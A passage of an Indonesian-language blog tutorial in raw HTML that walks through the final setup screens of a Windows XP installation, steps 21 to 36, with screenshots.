aja... lalu tekan <span style="color: rgb(255, 0, 0);">"NEXT"</span> kemudian akan muncul layar seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh93nObzCKL4J-iWjQgDBM5A0uTa7CacZ0lMItTTOoGeS_EkD7QI3GsQKHxKuwYwQ3QPjN4yU444BWh9pk1ll77UxFARkgAwX6YgSXSaboUqfHAB7dHzmXRmI0HTmeKcYNqoXTCbK599K8/s1600-h/ade20.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh93nObzCKL4J-iWjQgDBM5A0uTa7CacZ0lMItTTOoGeS_EkD7QI3GsQKHxKuwYwQ3QPjN4yU444BWh9pk1ll77UxFARkgAwX6YgSXSaboUqfHAB7dHzmXRmI0HTmeKcYNqoXTCbK599K8/s320/ade20.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124397069955746" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">21.</span> Masukan serial nombernya, jangan sampe salah ya....!!! kemudian tekan <span style="color: rgb(255, 0, 0);">"Next"</span> selanjutnya akan muncul layar administrator, isi aja mau dinamain apa komputernya, terserah deeeehhhhh......<br />kalau mau pake pasword tinggal di isi juga paswordnya, terserah juga mo apa paswordnya.... lalu tekan <span style="color: rgb(255, 0, 0);">"Next"</span> maka muncul layar Date and Time Setting seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh51_PBcRauBT5jhR4FleD_VD8B0OXpBAx0gu2x5jeWp0iJZHHE1orOX2mnHKxAL7rUbmPnW0FXNbQdBr_o_FN04rTHn_J0bOEZtDnUhLTMg5b25hwUm71-Sx4fxBYvBVDi22irPRn_XWU/s1600-h/ade21.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh51_PBcRauBT5jhR4FleD_VD8B0OXpBAx0gu2x5jeWp0iJZHHE1orOX2mnHKxAL7rUbmPnW0FXNbQdBr_o_FN04rTHn_J0bOEZtDnUhLTMg5b25hwUm71-Sx4fxBYvBVDi22irPRn_XWU/s320/ade21.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124488648853858" border="0" /></a><br /><br /><br /><span style="color: rgb(255, 0, 0);">22. </span>Masukan settingan jam dan tanggal, tentukan juga time zone anda, untuk jakarta : pilih <span style="color: rgb(255, 0, 0);">GMT+7 </span>Klik <span style="color: rgb(255, 0, 0);">"Next"</span> lagi BOS.... setelah proses instalasi windows delanjutkan, seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzcT2u2kaj7IbVFyee56PTWK44E1kjH6yoLMpXi-mJ1ibC44_-vD3cMQ9W0u2KOIwrJlvFEEvzJq-jJegmT9nb9uyQ_hPXJTfmo92SN2mu1_QbH4QO1APwxcE_2OfgudlLGBKPN9vHpLw/s1600-h/ade22.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzcT2u2kaj7IbVFyee56PTWK44E1kjH6yoLMpXi-mJ1ibC44_-vD3cMQ9W0u2KOIwrJlvFEEvzJq-jJegmT9nb9uyQ_hPXJTfmo92SN2mu1_QbH4QO1APwxcE_2OfgudlLGBKPN9vHpLw/s320/ade22.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124593812862786" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">23. </span>Silahkan Menunggu lumayan lama BOS,.... sampai muncul layar seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe8h6KPCXYDp0fmTs01ZCEdUX7u1xGdno0JzYU-Cpv8c1s5IdzZLnVnra4tg2zEsqSVNXdu2DaMQ9e9ElDYBOs928mGZEV0eaP2kfh2iYiHrV1HuLFQu5OB_qB2QXYw136Ge6J7FLsdWA/s1600-h/ade23.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe8h6KPCXYDp0fmTs01ZCEdUX7u1xGdno0JzYU-Cpv8c1s5IdzZLnVnra4tg2zEsqSVNXdu2DaMQ9e9ElDYBOs928mGZEV0eaP2kfh2iYiHrV1HuLFQu5OB_qB2QXYw136Ge6J7FLsdWA/s320/ade23.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124672301084946" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">24.</span> Selanjutnya akan muncul layar work group or computer Domain,seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqCJOoBGYiSmPm9BJz1_ezyl1-okYs_16yrl6aJ8lVri_Zh1UkzHutGHwLuxRM1oOMTMDBdKVHPf5eJRXaeWYgxxQANQQCeyNgOuqwOlIp1ZqmLloL3K_s5UXmf8Yd_vSyIA0HEyFuvqA/s1600-h/ade24.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqCJOoBGYiSmPm9BJz1_ezyl1-okYs_16yrl6aJ8lVri_Zh1UkzHutGHwLuxRM1oOMTMDBdKVHPf5eJRXaeWYgxxQANQQCeyNgOuqwOlIp1ZqmLloL3K_s5UXmf8Yd_vSyIA0HEyFuvqA/s320/ade24.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124771740573442" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">25.</span> jika komputer anda terhubung dengan sebuah domain, maka isikan nama domainnya, tapi jika komputer anda stand alone, maka pilih radio button yang paling atas, lalu tekan <span style="color: rgb(255, 0, 0);">"Next"</span><br /><br /><span style="color: rgb(255, 0, 0);">26.</span> Selanjutnya akan muncul display setting, seperti gambar di bawah ini, klik "OK" aja BOS....!!!<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ6hW8l5224PcxkRsbylMwXLD0NlU0XPgxpvJCQ22yS_6hw6Rzptx3eOwyOgAZDSt5UV0hLRNiEEyT6QdPvhBDsMpGaDGfA_90nymJ1Kv59i1-xF8a1cTIgQKNmWlUM-HDIUqEY6CO_3Q/s1600-h/ade26.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ6hW8l5224PcxkRsbylMwXLD0NlU0XPgxpvJCQ22yS_6hw6Rzptx3eOwyOgAZDSt5UV0hLRNiEEyT6QdPvhBDsMpGaDGfA_90nymJ1Kv59i1-xF8a1cTIgQKNmWlUM-HDIUqEY6CO_3Q/s320/ade26.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124869312581522" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">27.</span> Kemudian windows akan mendeteksi tampilan optimal dari PC anda, seperti terlihat pada gambar di bawah ini, Klik <span style="color: rgb(255, 0, 0);">"OK" </span>aj BOS...!!!<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdgW0sddDenTo6Vt5iA1z6-i4YRCJXbea4-4jMUzWwKHo3PXm5MRWB5m_qmORbpMWTtNXGL2m9PJj4D_Iy_jBFS1g2xSrIroE7sKr4Tq2xcogebKsi2-0qQWmXQhCrVJIfSklfmXQSsqs/s1600-h/ade27.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdgW0sddDenTo6Vt5iA1z6-i4YRCJXbea4-4jMUzWwKHo3PXm5MRWB5m_qmORbpMWTtNXGL2m9PJj4D_Iy_jBFS1g2xSrIroE7sKr4Tq2xcogebKsi2-0qQWmXQhCrVJIfSklfmXQSsqs/s320/ade27.jpg" alt="" id="BLOGGER_PHOTO_ID_5423124940639537730" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">28. </span>Proses instalasi hampir selesai BOS..... selanjutnya akan muncul loading jendela windows seperti gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTfPjXzbOZb4lGzDGg3GYrXwigkjIVyDFJ3d7mt1QH6oxPRjAXrKWwTZ5Lv0vAniOLycEymd8dH9ATxC-2y43RXTcffQaRWgSBsrOvosiJ_zEJ9HsfAsQQzx2dgYxe029IGC7eZ6178nk/s1600-h/ade28.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTfPjXzbOZb4lGzDGg3GYrXwigkjIVyDFJ3d7mt1QH6oxPRjAXrKWwTZ5Lv0vAniOLycEymd8dH9ATxC-2y43RXTcffQaRWgSBsrOvosiJ_zEJ9HsfAsQQzx2dgYxe029IGC7eZ6178nk/s320/ade28.jpg" alt="" id="BLOGGER_PHOTO_ID_5423125023592259218" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">29. </span>Selanjutnya anda akan dibawa masuk ke dalam windows untuk pertama kalinya seperti terlihat pada gambar di bawah ini, tekan <span style="color: rgb(255, 0, 0);">"Next"</span> aj BOS..<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzH2BQlre1qaPDZRu8oB3FCZ5Nle6FYS9NXhIaiozxM5u69Cwvpom9bCUjNrw9Ox7gRVajB-Ztqba4Wv2LLSU99bw7CXB_fyUCk9jgSh6X1b3_6dwLM8i1rHnmFPstlQFKYMtF430RzKQ/s1600-h/ade29.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzH2BQlre1qaPDZRu8oB3FCZ5Nle6FYS9NXhIaiozxM5u69Cwvpom9bCUjNrw9Ox7gRVajB-Ztqba4Wv2LLSU99bw7CXB_fyUCk9jgSh6X1b3_6dwLM8i1rHnmFPstlQFKYMtF430RzKQ/s320/ade29.jpg" alt="" id="BLOGGER_PHOTO_ID_5423125116840120962" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">30. </span>Selanjutnya akan muncul layar <span style="color: rgb(255, 0, 0);">"Help Protect Your PC"</span>, seperti gambar di bawah ini, kemudian pilih <span style="color: rgb(255, 0, 0);">"Not Right Now"</span> lalu tekan<span style="color: rgb(255, 0, 0);"> "Next"</span><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw_g8fIt2ls9GnlnP0FrDZIQK-M3npztDo59Pyu0WSyMjSoqOf9HpYIr1s-3PtFTSl_lD6DYnAxFHgk2cd90A_NzXbBXO_9LOK3ewyCnNV_-2vtjalQOe634aTqJ9Y3glWxaIRjbCy67s/s1600-h/ade30.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw_g8fIt2ls9GnlnP0FrDZIQK-M3npztDo59Pyu0WSyMjSoqOf9HpYIr1s-3PtFTSl_lD6DYnAxFHgk2cd90A_NzXbBXO_9LOK3ewyCnNV_-2vtjalQOe634aTqJ9Y3glWxaIRjbCy67s/s320/ade30.jpg" alt="" id="BLOGGER_PHOTO_ID_5423125194552524658" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">31. </span>Kemudian komputer akan mengecek koneksi ke internet, seprti terlihat pada gambar di bawah ini, pilih <span style="color: rgb(255, 0, 0);">"Yes"</span> lalu tekan <span style="color: rgb(255, 0, 0);">"Next"</span><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUOguRbIWnUyGGMejtcE-YFVFV38kqtk4wmheANq7LFDjufijgxZ2um-UE0wfd4ZoZ7ZTC2Lx8isc8vbu5_wnt_pRbflwH1zQTo19NvEWyI5GyU03SalaUlbZpmH6Dn8KusVXmozZuJhI/s1600-h/ade31.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUOguRbIWnUyGGMejtcE-YFVFV38kqtk4wmheANq7LFDjufijgxZ2um-UE0wfd4ZoZ7ZTC2Lx8isc8vbu5_wnt_pRbflwH1zQTo19NvEWyI5GyU03SalaUlbZpmH6Dn8KusVXmozZuJhI/s320/ade31.jpg" alt="" id="BLOGGER_PHOTO_ID_5423125275313956834" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">32.</span> Kemudian akan muncul pilihan aktivasi windows, seperti gambar di bawah ini, lalu tekan <span style="color: rgb(255, 0, 0);">"Next"</span><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL4WGiFMh6bA7z-gFpxezCIcmZr1WTzaMqirXCyvy4rNO5rW2uPWHjox3OzWrZhrcfbT6WfhsD-fP4ooluZsNYhAJz5Sv1MhDVjoqdCEylCCTY4Aps44e-CB0USBcq_ra7R0HBVvb2DZ8/s1600-h/ade32.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL4WGiFMh6bA7z-gFpxezCIcmZr1WTzaMqirXCyvy4rNO5rW2uPWHjox3OzWrZhrcfbT6WfhsD-fP4ooluZsNYhAJz5Sv1MhDVjoqdCEylCCTY4Aps44e-CB0USBcq_ra7R0HBVvb2DZ8/s320/ade32.jpg" alt="" id="BLOGGER_PHOTO_ID_5423125374151520242" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">33.</span> Setelah itu akan muncul tampilan seperti gambar di bawah ini yang menunjukan pilihan untuk menambah pengguna komputer, Anda bisa memasukkan beberapa pengguna yang akan mengakses komputer Anda, Namun jika satu akun sudah cukup, atau Anda menginstall komputer untuk dipakai bergantian, cukup masukkan satu user kemudian klik <span style="color: rgb(255, 0, 0);">"Next"</span><br /><br /><span style="color: rgb(255, 0, 0);">34.</span> Proses instalasi windows selesai, kemudian akan muncul layar seperti gambar di bawah ini, klik <span style="color: rgb(255, 0, 0);">"finish"</span>, maka proses instalasi selesai.....<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd_OXcycDRR0cdRNoXcjCA6tqZffOgUAaIMPhzR7lkKGFhpfG8QIYSCb-laov5fczBiGwWr7KZ594ouFjNzrBt0hLhxQ98Wvp3VLsiHqb9F3b72yZKDgUdlRlluH8RVSutFwJ2b2TsJjM/s1600-h/ade34.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd_OXcycDRR0cdRNoXcjCA6tqZffOgUAaIMPhzR7lkKGFhpfG8QIYSCb-laov5fczBiGwWr7KZ594ouFjNzrBt0hLhxQ98Wvp3VLsiHqb9F3b72yZKDgUdlRlluH8RVSutFwJ2b2TsJjM/s320/ade34.jpg" alt="" id="BLOGGER_PHOTO_ID_5423125455329909730" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">35.</span> Selesailah sudah semua.... kemudian perlahan masuk ke windowsnya seperti telihat pada gambar di bawah ini<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSdRdFn8PKRQBOv0iLzZYJ9Ci7BB0O32J5Ij-UV81OzsA0sTh_cTWOBkvhuilvB3nNLz4Xb-y-8g9jIbamY7H5-SHiU8hf9YE8nBKbfcIkP4pqXPTuY5wlHNwr5H9vbMsvxn4CbvdaY_E/s1600-h/ade35.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSdRdFn8PKRQBOv0iLzZYJ9Ci7BB0O32J5Ij-UV81OzsA0sTh_cTWOBkvhuilvB3nNLz4Xb-y-8g9jIbamY7H5-SHiU8hf9YE8nBKbfcIkP4pqXPTuY5wlHNwr5H9vbMsvxn4CbvdaY_E/s320/ade35.jpg" alt="" id="BLOGGER_PHOTO_ID_5423125542146993154" border="0" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj41r7T1CYyUxCJoznLvyQMBn7g5gzVu5jFCFHzi3-4Xkri4z_0ypBVqinAkiPB66bOrTqUke3h5Dl9fqqj4OPmYq_cOXz-N9W3VvQrFAKnFgj6DaaCa4C3Hj6QrNsRqnlXwhKvdidlxQ4/s1600-h/instal+windows+xp.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 183px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj41r7T1CYyUxCJoznLvyQMBn7g5gzVu5jFCFHzi3-4Xkri4z_0ypBVqinAkiPB66bOrTqUke3h5Dl9fqqj4OPmYq_cOXz-N9W3VvQrFAKnFgj6DaaCa4C3Hj6QrNsRqnlXwhKvdidlxQ4/s320/instal+windows+xp.jpg" alt="" id="BLOGGER_PHOTO_ID_5423125725975180354" border="0" /></a><br /><br /><span style="color: rgb(255, 0, 0);">36.</span> Kemudian tinggal menginstal CD Driver Motherboad, dan perangkat pendukung lainnya....<br /><br /><br />sumber : om<a href="http://google.com"> google</a>blog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0